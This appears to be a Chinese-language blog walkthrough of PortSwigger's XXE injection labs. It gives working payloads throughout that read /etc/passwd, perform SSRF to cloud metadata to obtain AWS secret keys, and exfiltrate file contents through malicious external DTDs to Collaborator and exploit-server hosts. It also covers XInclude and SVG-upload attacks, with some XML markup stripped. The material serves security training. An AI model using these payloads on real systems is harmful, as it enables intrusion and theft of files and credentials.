住宅城乡建设部门户网站,上海品牌网站设计,学校学生网站模板下载,杭州网络公司建网站XML 外部实体 (XXE) 注入
1. 什么是xxe漏洞#xff1a;
https://portswigger.net/web-security/xxe#what-is-xml-external-entity-injection
XML 外部实体注入#xff08;也称为 XXE#xff09;是一种 Web 安全漏洞#xff0c;允许攻击者干扰应用程序对 XML 数据的处理。…XML 外部实体 (XXE) 注入
1. 什么是xxe漏洞
https://portswigger.net/web-security/xxe#what-is-xml-external-entity-injection
XML 外部实体注入也称为 XXE是一种 Web 安全漏洞允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件并与应用程序本身可以访问的任何后端或外部系统进行交互。在某些情况下攻击者可以利用 XXE 漏洞执行服务器端请求伪造(SSRF) 攻击升级 XXE 攻击以危害底层服务器或其他后端基础设施。实验1xxe读取文件
Lab: Exploiting XXE using external entities to retrieve files 进入靶场点击功能进入burp代理历史查看流量包 数据包发送到repeater 测试xxe漏洞
访问产品页面单击“检查库存”然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck!DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/passwd ]
将数字替换productId为对外部实体的引用xxe; 响应应包含“Invalid product ID”后跟文件内容/etc/passwd。实验2利用xxe造成ssrf:
Lab: Exploiting XXE to perform SSRF attacks
访问产品页面单击“检查库存”然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck!DOCTYPE test [ !ENTITY xxe SYSTEM http://169.254.169.254/ ]
将数字替换productId为对外部实体的引用xxe;。响应应包含“无效的产品 ID”后跟来自元数据端点的响应该响应最初是文件夹名称。
迭代更新 DTD 中的 URL 以探索 API直到到达/latest/meta-data/iam/security-credentials/admin。这应该返回包含SecretAccessKey.逐步添加169.254.169.254主机泄露的web目录到xml文档最终发现泄露了aws云的SecretAccessKey可以用相关工具 访问云服务
实验3带外交互的XXE盲注
访问产品页面单击“检查库存”并在Burp Suite Professional中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域!DOCTYPE stockCheck [ !ENTITY xxe SYSTEM http://BURP-COLLABORATOR-SUBDOMAIN ]
实际burp collaborator生成if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com
!DOCTYPE stockCheck [ !ENTITY xxe SYSTEM http://if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com ]将数字替换productId为对外部实体的引用xxe;
转到“collaborator”选项卡然后单击“Poll now”。如果您没有看到列出的任何交互请等待几秒钟然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。进入靶场查看到检查库存功能有提交xml请求的流量 修改数据包重放
实验4通过 XML 参数实体进行带外交互的XXE盲注
访问产品页面单击“检查库存”并在Burp Suite Professional中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域!DOCTYPE stockCheck [!ENTITY % xxe SYSTEM http://BURP-COLLABORATOR-SUBDOMAIN %xxe; ]
## Collaborator生成子域名% xxe表示xml参数实体
!DOCTYPE stockCheck [!ENTITY % xxe SYSTEM http://lshw8i7ytlv8xvt0mimz4a67gympaiy7.oastify.com %xxe; ]
转到“Collaborator”选项卡然后单击“Poll now”。如果您没有看到列出的任何交互请等待几秒钟然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。将数据包发送到重放器
修改xml数据
实验5利用恶意外部 DTD 进行 XXE盲注窃取数据
使用Burp Suite Professional转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
将 Burp Collaborator 负载放入恶意 DTD 文件中!ENTITY % file SYSTEM file:///etc/hostname
!ENTITY % eval !ENTITY #x25; exfil SYSTEM http://BURP-COLLABORATOR-SUBDOMAIN/?x%file;
%eval;
%exfil;#### 制作恶意的外部dtd文档
!ENTITY % file SYSTEM file:///etc/hostname
!ENTITY % eval !ENTITY #x25; exfil SYSTEM http://pf80vmu2gpickzg49m93retb329txold.oastify.com/?x%file;
%eval;
%exfil;
单击“转到漏洞利用服务器”并将恶意 DTD 文件保存在您的服务器上。单击“查看漏洞”并记下 URL。
URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先访问产品页面单击“检查库存”然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck!DOCTYPE foo [!ENTITY % xxe SYSTEM YOUR-DTD-URL %xxe;]
## 将恶意的dtd url路径插入URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
!DOCTYPE foo [!ENTITY % xxe SYSTEM https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit %xxe;]返回“Collaborator ”选项卡然后单击“Poll now”。如果您没有看到列出的任何交互请等待几秒钟然后重试。
您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。HTTP 交互可以包含文件的内容/etc/hostname。进入靶场抓取查看库存功能burp抓包 将制作的恶意dtd文档托管到自己可控的web服务器上: URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
实验6利用盲目 XXE 通过错误消息检索数据
单击“转到漏洞利用服务器”并将以下恶意 DTD 文件保存在您的服务器上!ENTITY % file SYSTEM file:///etc/passwd
!ENTITY % eval !ENTITY #x25; exfil SYSTEM file:///invalid/%file;
%eval;
%exfil;
/etc/passwd导入时此页面将读取实体 的内容file然后尝试在文件路径中使用该实体。单击“查看漏洞”并记下恶意 DTD 的 URL。
您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先访问产品页面单击“检查库存”然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck!DOCTYPE foo [!ENTITY % xxe SYSTEM YOUR-DTD-URL %xxe;]
##
!DOCTYPE foo [!ENTITY % xxe SYSTEM https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit %xxe;]
https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit
您应该看到一条包含文件内容的错误消息/etc/passwd。将恶意的dtd文件托管到自己控制的web服务器中记录恶意dtd的url值 https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit
实验7利用 XInclude 检索文件
一些应用程序接收客户端提交的数据将其在服务器端嵌入到 XML 文档中然后解析该文档。当客户端提交的数据被放入后端 SOAP 请求中然后由后端 SOAP 服务处理时就会发生这种情况。在这种情况下您无法执行经典的 XXE 攻击因为您无法控制整个 XML 文档因此无法定义或修改元素DOCTYPE。但是您也许可以使用XInclude它。XInclude是 XML 规范的一部分允许从子文档构建 XML 文档。您可以XInclude在 XML 文档中的任何数据值中进行攻击因此可以在您仅控制放入服务器端 XML 文档中的单个数据项的情况下执行攻击。要执行XInclude攻击您需要引用XInclude命名空间并提供您希望包含的文件的路径。例如foo xmlns:xihttp://www.w3.org/2001/XInclude
xi:include parsetext hreffile:///etc/passwd//foo### 操作
访问产品页面单击“检查库存”然后在 Burp Suite 中拦截生成的 POST 请求。
将参数值设置productId为foo xmlns:xihttp://www.w3.org/2001/XIncludexi:include parsetext hreffile:///etc/passwd//foo实验8:通过图像文件上传利用 XXE
### 原理
某些应用程序允许用户上传文件然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式的示例包括 DOCX 等办公文档格式和 SVG 等图像格式。例如应用程序可能允许用户上传图像并在上传后在服务器上处理或验证这些图像。即使应用程序期望接收 PNG 或 JPEG 等格式正在使用的图像处理库也可能支持 SVG 图像。由于SVG格式使用XML攻击者可以提交恶意SVG图像从而达到XXE漏洞的隐藏攻击面。### 操作
创建包含以下内容的本地 SVG 图像?xml version1.0 standaloneyes?!DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/hostname ]svg width128px height128px xmlnshttp://www.w3.org/2000/svg xmlns:xlinkhttp://www.w3.org/1999/xlink version1.1text font-size16 x0 y16xxe;/text/svg
在博客文章上发表评论并上传此图像作为头像。
/etc/hostname当您查看评论时头像svg被解析xml中代码执行读取了hostname,您应该会在图像中 看到文件的内容。使用“提交解决方案”按钮提交服务器主机名的值。创建1.svg文件 查看图片图片已经显示了主机名
实验9利用 XXE 通过重新利用本地 DTD 来检索数据
访问产品页面单击“检查库存”然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下参数实体定义stockCheck!DOCTYPE message [
!ENTITY % local_dtd SYSTEM file:///usr/share/yelp/dtd/docbookx.dtd
!ENTITY % ISOamso
!ENTITY #x25; file SYSTEM file:///etc/passwd
!ENTITY #x25; eval !ENTITY #x26;#x25; error SYSTEM #x27;file:///nonexistent/#x25;file;#x27;
#x25;eval;
#x25;error;%local_dtd;
]
这将导入 Yelp DTD然后重新定义ISOamso实体触发包含文件内容的错误消息/etc/passwd。通过修改内容类型进行 XXE 攻击
大多数 POST 请求使用由 HTML 表单生成的默认内容类型例如application/x-www-form-urlencoded. 某些网站期望接收这种格式的请求但也会容忍其他内容类型包括 XML。
例如如果一个普通请求包含以下内容
POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7
foobar 然后您可以提交以下请求得到相同的结果
POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 ?xml version1.0 encodingUTF-8?bar
如果应用程序容忍消息正文中包含 XML 的请求并将正文内容解析为 XML那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。
参考 https://mp.weixin.qq.com/s/a_AlnsHdyavDriFbnTsyRw
## paylaodallthings:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection### owasp:
https://owasp.org/www-project-web-security-testing-guide/v42/### owasp xml注入
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection